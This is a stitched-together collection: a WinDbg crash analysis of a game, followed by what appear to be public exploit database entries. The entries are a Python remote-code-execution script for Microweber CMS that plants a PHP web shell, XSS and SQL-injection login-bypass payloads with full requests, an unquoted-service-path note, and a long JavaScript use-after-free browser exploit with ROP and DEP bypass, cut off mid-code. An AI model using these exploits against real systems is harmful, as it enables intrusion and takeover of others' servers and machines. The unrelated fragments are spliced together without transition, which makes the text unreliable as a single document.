efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e : 0xfab8446d`6e5edd60 0a fab8446d`6e5edd60 : efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 : 0xefaf2dc5`69758c3e 0b efaf2dc5`69758c3e : fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e : 0xfab8446d`6e5edd60 0c fab8446d`6e5edd60 : efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 : 0xefaf2dc5`69758c3e 0d efaf2dc5`69758c3e : fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e : 0xfab8446d`6e5edd60 0e fab8446d`6e5edd60 : efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 : 0xefaf2dc5`69758c3e 0f efaf2dc5`69758c3e : fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e : 0xfab8446d`6e5edd60 0:000> !analyze -m ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* KEY_VALUES_STRING: 1 Key : Analysis.CPU.mSec Value: 5640 Key : Analysis.DebugAnalysisManager Value: Create Key : Analysis.Elapsed.mSec Value: 6467 Key : Analysis.Init.CPU.mSec Value: 400749 Key : Analysis.Init.Elapsed.mSec Value: 1699165 Key : Analysis.Memory.CommitPeak.Mb Value: 261 Key : FailFast.Name Value: STACK_COOKIE_CHECK_FAILURE Key : FailFast.Type Value: 2 Key : Timeline.OS.Boot.DeltaSec Value: 215108 Key : Timeline.Process.Start.DeltaSec Value: 1744 Key : WER.OS.Branch Value: vb_release Key : WER.OS.Timestamp Value: 2019-12-06T14:06:00Z Key : WER.OS.Version Value: 10.0.19041.1 Key : WER.Process.Version Value: 1.0.10897.0 NTGLOBALFLAG: 0 PROCESS_BAM_CURRENT_THROTTLED: 0 PROCESS_BAM_PREVIOUS_THROTTLED: 0 APPLICATION_VERIFIER_FLAGS: 0 EXCEPTION_RECORD: (.exr -1) ExceptionAddress: 00007ff64a660424 (RocketLeague!AK::MemoryMgr::GetPoolName+0x0000000000084164) ExceptionCode: c0000409 (Security check failure or stack buffer overrun) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 0000000000000002 Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE FAULTING_THREAD: 0000230c PROCESS_NAME: RocketLeague.exe ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application. EXCEPTION_CODE_STR: c0000409 EXCEPTION_PARAMETER1: 0000000000000002 STACK_TEXT: 00000098`52afda90 00007ff6`4a65fdcf : efaf2d5d`3bda668e 00000000`00000000 00000098`52afe090 00000098`52afe080 : RocketLeague!AK::MemoryMgr::GetPoolName+0x84164 00000098`52afdad0 00007ffe`d735207f : 00007ff6`4a65fdbc 00000000`00000000 00000000`00000000 00000000`00000000 : RocketLeague!AK::MemoryMgr::GetPoolName+0x83b0f 00000098`52afdb00 00007ffe`d7301454 : 00000000`00000000 00000098`52afe070 00000098`52afe730 00000000`00000000 : ntdll!RtlpExecuteHandlerForException+0xf 00000098`52afdb30 00007ffe`d7350bae : 3f400000`3f000000 3f800000`3f800000 000001a1`cc362268 44160000`44bb8000 : ntdll!RtlDispatchException+0x244 00000098`52afe240 00007ffe`afc812de : 00000000`00000000 000001a1`cc3560c0 00007ff6`4948a38b 000001a1`cc362268 : ntdll!KiUserExceptionDispatch+0x2e 00000098`52afe9c8 00007ff6`4948a38b : 000001a1`cc362268 00000098`52afea40 00000098`52afea40 000001a1`cc362268 : VCRUNTIME140!memcpy_repmovs+0xe 00000098`52afe9e0 00007ff6`494fe648 : 000001a1`cc362268 00000098`52afead8 00002215`1710d82a 00007ff6`00000003 : RocketLeague!AK::MusicEngine::Term+0x9700b 00000098`52afea20 00007ff6`494e3e65 : 000001a1`cc362080 00000098`52afead8 00000000`00000000 00000000`00000001 : RocketLeague!AK::MusicEngine::Term+0x10b2c8 00000098`52afeab0 fab8446d`6e5edd60 : efaf2dc5`69758c3e fab8446d`6e5edd60 efaf2dc5`69758c3e fab8446d`6e5edd60 : RocketLeague!AK::MusicEngine::Term+0xf0ae5 ... ... STACK_COMMAND: ~0s ; .cxr ; kb SYMBOL_NAME: RocketLeague!AK::MemoryMgr::GetPoolName+84164 MODULE_NAME: RocketLeague IMAGE_NAME: RocketLeague.exe FAILURE_BUCKET_ID: FAIL_FAST_STACK_BUFFER_OVERRUN_STACK_COOKIE_CHECK_FAILURE_MISSING_GSFRAME_c0000409_RocketLeague.exe!AK::MemoryMgr::GetPoolName OS_VERSION: 10.0.19041.1 BUILDLAB_STR: vb_release OSPLATFORM_TYPE: x64 OSNAME: Windows 10 IMAGE_VERSION: 1.0.10897.0 FAILURE_ID_HASH: {3e6f3f5b-25bb-68b3-2a5b-232743df7884} Followup: MachineOwner
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TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path

HACKER · %s · %s

# Exploit Title: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path # Discovery by: Erick Galindo # Discovery Date: 2020-05-07 # Vendor Homepage: https://www.weird-solutions.com # Software : https://www.weird-solutions.com/download/products/tftpbbv4_retail_x64.exe # Tested Version: 4.3.0.1465 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "tftpt" TFTP Broadband 4 TFTP Broadband 4 C:\Program Files\TFTP Broadband 4\tftpt.exe Auto C:\>sc qc "TFTP Broadband 4" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: TFTP Broadband 4 TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\TFTP Broadband 4\tftpt.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : TFTP Broadband 4 DEPENDENCIAS : Nsi : Afd : NetBT : Tcpip NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges.
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Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)

HACKER · %s · %s

# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) # Date: 2020-10-31 # Exploit Author: sl1nki # Vendor Homepage: https://microweber.org/ # Software Link: https://github.com/microweber/microweber/tree/1.1.20 # Version: <=1.1.20 # Tested on: Ubuntu 18.04 # CVE : CVE-2020-28337 # # Example usage with default phpinfo() payload: # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" # # # Example usage with custom payload (shell_exec): # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" \ # --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>' # # Notes: # * SSL verification is disabled by default # * If for some reason the --target-path "/userfiles/cache #!/usr/bin/python3 #/" doesn't work, "/userfiles/modules/" is a good one too. # # # import argparse import re import requests import sys import zipfile from io import BytesIO # Disable insecure SSL warnings requests.packages.urllib3.disable_warnings() class Microweber(): def __init__(self, baseUrl, proxies=None): self.baseUrl = baseUrl self.proxies = proxies self.cookies = None self.loginUrl = "/api/user_login" self.uploadUrl = "/plupload" self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup" self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore" self.targetPath = "/userfiles/cache/" self.targetFilename = "payload.php" self.zipPayloadName = "payload.zip" def makePostRequest(self, url, data=None, files=None, headers=None): return requests.post(self.baseUrl + url, data=data, files=files, headers=headers, cookies=self.cookies, proxies=self.proxies, verify=False ) def makeGetRequest(self, url, params=None): return requests.post(self.baseUrl + url, params=params, cookies=self.cookies, proxies=self.proxies, verify=False ) def login(self, username, password): res = self.makePostRequest(self.loginUrl, data={ "username": username, "password": password }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!": print(f"[+] Successfully logged in as {username}") self.cookies = res.cookies else: print(f"[-] Unable to login. Status Code: {res.status_code}") sys.exit(-1) def createZip(self, path=None, filename=None, payload=None): # In-memory adaptation of ptoomey3's evilarc # https://github.com/ptoomey3/evilarc if payload == None: payload = "<?php phpinfo(); ?>" zd = BytesIO() zf = zipfile.ZipFile(zd, "w") # The custom Unzip class uses a path under the webroot for cached file extraction # /storage/cache/backup_restore/<md5 hash>/ # so moving up 4 directories puts us at the webroot zf.writestr(f"../../../..{path}{filename}", payload) zf.close() return zd def uploadZip(self, zipData): # Upload the zip data as a general file res = self.makePostRequest(self.uploadUrl, headers={"Referer": ""}, data={ "name": self.zipPayloadName, "chunk": 0, "chunks": 1 }, files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")} ) if res.status_code == 200: print(f"[+] Successfully uploaded: {self.zipPayloadName}") j = res.json() print(f"[+] URL: {j['src']}") print(f"[+] Resulting Filename: {j['name']}") self.zipPayloadName = j['name'] else: print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})") sys.exit(-1) def getAbsoluteWebRoot(self): # Determine the webroot using the debug output and the DefaultController.php path res = self.makeGetRequest("", params={ "debug": "true" }) if res.status_code != 200: print(f"[-] Unable to collect debug information. Bad server response: {res.status_code}") sys.exit(-1) target = "src/Microweber/Controllers/DefaultController.php" m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text) if len(m) == 1: return m[0] else: print(f"[-] Unable to determine the webroot using {target}. Found {len(m)} matches") def moveZipToBackup(self): # Move the uploaded zip file into the backup directory webRoot = self.getAbsoluteWebRoot() hostname = self.baseUrl.split("//")[1] src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}" res = self.makeGetRequest(self.moveZipToBackupUrl, params={ "src": src }) if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!": print(f"[+] Successfully moved {self.zipPayloadName} to backup") else: print(f"[-] Unable to move zip to backup ({res.status_code})") sys.exit(-1) def restoreBackup(self, filename): # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely res = self.makePostRequest(self.restoreBackupUrl, data={ "id": filename }) if res.status_code == 200 and "Backup was restored!" in res.text: print(f"[+] Successfully restored backup {filename}") else: print(f"[-] Unable to restore backup {filename}") sys.exit(-1) def exploit(self, payload=None): zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload) m.uploadZip(zipData) m.moveZipToBackup() m.restoreBackup(self.zipPayloadName) print(f"[+] Successfully uploaded payload to {self.targetFilename}!=") print(f"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}") if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--hostname", required=True, dest="hostname", help="Microweber hostname with protocol (e.g. http://microwebertest.com)") parser.add_argument("--http-proxy", required=False, dest="http_proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8000)") parser.add_argument("--username", "-u", required=True, dest="username", help="Username of administrative user") parser.add_argument("--password", "-p", required=True, dest="password", help="Password of administrative user") parser.add_argument("--payload", required=False, dest="payload", help="Payload contents. Should be a string of PHP code. (default is phpinfo() )") # Uncommon args parser.add_argument("--target-file", required=False, dest="target_file", help="Target filename of the payload (default: payload.php") parser.add_argument("--target-path", required=False, dest="target_path", help="Target path relative to webroot for the payload (default: /userfiles/cache/") parser.add_argument("--zip-name", required=False, dest="zip_name", help="File name of tmp backup zip") args = parser.parse_args() proxies = None if args.http_proxy: proxies = { "http": args.http_proxy } m = Microweber(args.hostname, proxies=proxies) if args.target_file: m.targetFilename = args.target_file if args.target_path: m.targetPath = args.target_path if args.zip_name: m.zipPayloadName = args.zip_name m.login(args.username, args.password) m.exploit(args.payload)
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PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS)

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# Exploit Title: PHP Timeclock 1.04 - 'Multiple' Cross Site Scripting (XSS) # Date: May 3rd 2021 # Exploit Author: Tyler Butler # Vendor Homepage: http://timeclock.sourceforge.net # Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/ # Version: 1.04 # Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5 Description: PHP Timeclock version 1.04 (and prior) suffers from multiple Cross-Site Scripting vulnerabilities #1: Unauthenticated Reflected XSS: Arbitrary javascript can be injected into the application by appending a termination /'> and payload directly to the end of the GET request URL. The vulnerable paths include (1) /login.php (2) /timeclock.php (3) /reports/audit.php and (4) /reports/timerpt.php. Payload: /'><svg/onload=alert`xss`> Example: http://target/login.php/'%3E%3Csvg/onload=alert%60xss%60%3E ß Steps to reproduce: 1. Navigate to a site that uses PHP Timeclock 1.04 or earlier 2. Make a GET request to one of the four resources mentioned above 3. Append /'> and the payload to the end of the request 4. Submit the request and observe payload execution #2: Unauthenticated Reflected XSS: Arbitrary javascript can be injected into the application in POST requests to (1) /reports/audit.php (2) /reports/total_hours.php (3) /reports/timerpt.php via the from_date and to_date parameters. # Example: POST /reports/audit.php HTTP/1.1 Host: localhost Content-Length: 98 Cache-Control: max-age=0 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/reports/audit.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=62cfcffbd929595ba31915b4d8f01d7d; remember_me=foo Connection: close date_format=M%2Fd%2Fyyyy&from_date=5%2F2%2F2021'><svg/onload=alert`xss`>&to_date=5%2F18%2F2021&csv=0&submit.x=40&submit.y=5 Payload: '><svg/onload=alert`xss`> Steps to reproduce: 1. Navigate to a site that uses PHP Timeclock 1.04 or earlier 2. Create a report at one of the vulnerable directories noted above 3. Intercept the request with a proxy tool like BurpSuite 4. Inject payload into the from_date or to_date fields
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# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code # Version: 1.0 # Tested on: Ubuntu 18.04 TLS # Description: # Attacker can bypass admin login page due to unsanitized user input and access internal contents # vulnerable code in /admin/index.php, line 34: $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; # payload: admin' or '1' = '1 -- - # Proof of concept: http://localhost/admin/index.php POST /admin/index.php HTTP/1.1 Host: localhost Content-Length: 54 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/admin/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p dnt: 1 sec-gpc: 1 Connection: close username=admin'+or+'1'%3d1+--+-&password=test&submit=
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# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free # Date: 2021-05-04 # Exploit Author: deadlock (Forrest Orr) # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx # Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64 # Tested on: Windows 7 x64, Windows 8.1 x64 # CVE: CVE-2020-0674 # Bypasses: DEP, ASLR, CFG # Original (IE-only/Windows 7-only) exploit credits: maxpl0it # Full explain chain writeup: https://github.com/forrest-orr/DoubleStar /* ________ ___. .__ _________ __ \______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______ | | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \ | ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/ /_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__| \/ \/ \/ \/ \/ Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain ______________ | Remote PAC | |____________| ^ | HTTPS _______________ RPC/ALPC _______________ RPC/ALPC _______________ | firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | |_____________| |_____________| <----------- |_____________| | RPC/Pipe | _______________ | | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM |_____________| ~ Component JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in the exploit chain (in which case it should be used in conjunction with the stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the full exploit chain, Windows 7 is unsupported by the required stage two WPAD sandbox escape shellcode. ________________ CVE-2020-0674 _______________________ RPC/ALPC _______________ | iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe | |______________| | shellcode (heap) | |_____________| |_____________________| ~ Overview This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11 64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP hijack and stack pivot. Notably, this exploit does not contain bypasses for Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in Windows 10. ~ Design The UAF is a result of two untracked variables passed to a comparator for the Array.sort method, which can then be used to reference VAR structs within allocated GcBlock regions which can subsequently be freed via garbage collection. Control of the memory of VAR structs with active JS var references in the runtime script is then used for arbitrary read (via BSTR) and addrof primitives. Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP on a user defined shellcode stored within a BSTR on the heap. This is achieved through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap) and a dynamically resolved stack pivot ROP gadget. NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------| ^ | 2MB stack space (heap) | | |-----------------------------| | | Heap header/BSTR len align | | |-----------------------------| | | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address ] |-----------------------------| The logic flow is: 1. A fake object with a fake vtable is constructed containing the address of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive is used for RIP hijack in conjunction with a pointer to a specially crafted CONTEXT structure in RCX as its parameter. 2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters to KERNEL32.DLL!VirtualProtect. 3. The address of VirtualProtect is the first return address to be consumed on the new (artificial) stack after the stack pivot. 4. VirtualProtect disables DEP on the shellcode region and returns to that same (now +RWX) shellcode address stored as the second return address on the pivoted stack. Notably, the stack pivot was needed here due to the presence of CFG on Windows 8.1, which prevents NtContinue from being used to change RSP to an address which falls outside the stack start/end addresses specified in the TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP to be planted in the CONTEXT structure so that NtContinue would consider its new RSP valid. The exploit will not work on Windows 10 due to enhanced protection by CFG: Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default. ~ Credits maxpl0it - for doing the original analysis and PoC for CVE-2020-0674 on IE8/11 on Windows 7 x64. HackSys Team - for tips on the WPAD service and low level JS debugging. */ //////// //////// // Global settings //////// var PayloadType = "shellcode"; // Can be "shellcode" or "winexec" var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578"; // The ASCII string to be executed via WinExec if the relevant payload type is selected - C:\Windows\notepad.exe var WindowsVersion = 8.1; // Can be 8.1 or 7. Only the 64-bit versions of these OS are supported. var PacFile = false; var EnableDebug = false; var EnableTimers = false; var AlertOutput = false; //////// //////// // Stack-sensitive array initialization logic //////// var SortArray = new Array(); // Initializing this locally rather than globally causes stack issues, particularly in regards to WPAD. for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort comparator //////// //////// // Debug/timer code //////// var TimeStart; var ReadCount; var ScriptTimeStart = new Date().getTime(); function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed. if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } //////// //////// // UAF/untracked variable creation code //////// var UntrackedVarSet; var VarSpray; var VarSprayCount = 20000; // 200 GcBlocks var NameListAnchors; var NameListAnchorCount = 0; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim var SortDepth = 0; function GlitchedComparator(Untracked1, Untracked2) { Untracked1 = VarSpray[SortDepth*2]; Untracked2 = VarSpray[SortDepth*2 + 1]; if(SortDepth >= 150) { VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks CollectGarbage(); // Free the GcBlocks UntrackedVarSet.push(Untracked1); UntrackedVarSet.push(Untracked2); } else { SortDepth += 1; // There is a difference between the stack size between WPAD and Internet Explorer. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock. try { SortArray[SortDepth].sort(GlitchedComparator); } catch(ex) { VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks CollectGarbage(); // Free the GcBlocks } UntrackedVarSet.push(Untracked1); UntrackedVarSet.push(Untracked2); } return 0; } function NewUntrackedVarSet() { SortDepth = 0; VarSpray = new Array(); NameListAnchors = new Array(); UntrackedVarSet = new Array(); for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object(); CollectGarbage(); SortArray[0].sort(GlitchedComparator); // Two untracked vars will be passed to this method by the JS engine } //////// //////// // UAF re-claim/mutable variable code (used for arbitrary read) //////// var AnchorObjectsBackup; var LeakedAnchorIndex = -1; var SizerPropName = Array(570).join('A'); var MutableVar; var ReClaimNameList; var InitialReClaim = true; function ReClaimIndexNameList(Value, PropertyName) { CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability. AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation CollectGarbage(); // Free the leaked NameList AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1; AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable ReadCount++; } function ReClaimBackupNameLists(Value, PropertyName) { var PrecisionReClaimAllocCount = 500; // This is the number of re-claim attempts that are needed for a precision re-claim of a single freed region, not hundreds such as in the case of the GcBlock/type confusion re-claims. On IE8/11 300 is plenty, on WPAD 500 seems to be more stable. CollectGarbage(); // Cleanup if(InitialReClaim) { AnchorObjectsBackup[LeakedAnchorIndex] = null; InitialReClaim = false; PrecisionReClaimAllocCount -= 1; AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); // Clog the index } for(var i = 0; i < PrecisionReClaimAllocCount; i++) { if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null; } CollectGarbage(); // Free the leaked NameList for(var i = 0; i < PrecisionReClaimAllocCount; i++) { if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object(); AnchorObjectsBackup[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit AnchorObjectsBackup[i]["\u0005"] = 1; AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable } ReadCount++; } function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) { var CharCodes = new Array(); CharCodes.push( // Type Type, 0, 0, 0, // Object pointer ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff, // Next pointer NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff); return String.fromCharCode.apply(null, CharCodes); } function LeakByte64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte. } function LeakWord64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); } function LeakDword64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return LowWord + (HighWord << 16); } function LeakQword64(Address) { ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0)); var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0)); var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16)); } function LeakObjectAddress64(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address. ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0)); var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0)); var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0)); var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0)); var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8); return LeakQword64(DerefObjVarAddress); // The concept here is to turn the property name (the mutable var) into a BSTR VAR pointing at its own VVAL (which starts with another, real VAR). The real VAR can be set dynamically to the address of the desired object. So there are two stages: first to read the object pointer out of the VAR within the final VVAL, and then to leak the object pointer of the VAR it is pointing to (skipping +8 over 